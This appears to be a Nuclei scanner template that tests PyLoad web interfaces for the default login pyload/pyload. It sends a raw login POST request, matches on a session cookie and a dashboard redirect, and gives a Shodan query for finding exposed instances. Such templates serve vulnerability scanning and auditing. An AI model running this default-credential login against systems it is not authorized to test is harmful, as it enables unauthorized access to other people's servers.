id: pyload-default-login

info:
  name: PyLoad Default Login
  author: DhiyaneshDk
  severity: high
  description: |
    PyLoad Default Credentials were discovered.
  reference:
    - https://pypi.org/project/pyload-ng/#:~:text=Default%20username%3A%20pyload%20.,Default%20password%3A%20pyload%20.
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"pyload"
  tags: default-login,pyload

http:
  - raw:
      - |
        POST /login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        do=login&username={{username}}&password={{password}}&submit=Login

    payloads:
      username:
        - pyload
      password:
        - pyload
    attack: pitchfork

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - 'Set-Cookie: pyload_session='
          - '/dashboard'
        condition: and

      - type: status
        status:
          - 302

# digest: 4b0a00483046022100887e6f5542621f9fd95a3e282c0a2de60e2fe8e1e0fc0fcbe1dd257885cb5d63022100a040e0e40efa61edc561c8aa3f0a00637973247e99c02bf2eef6d4d6a7aadbbc:922c64590222798bb761d5b6d8e72950
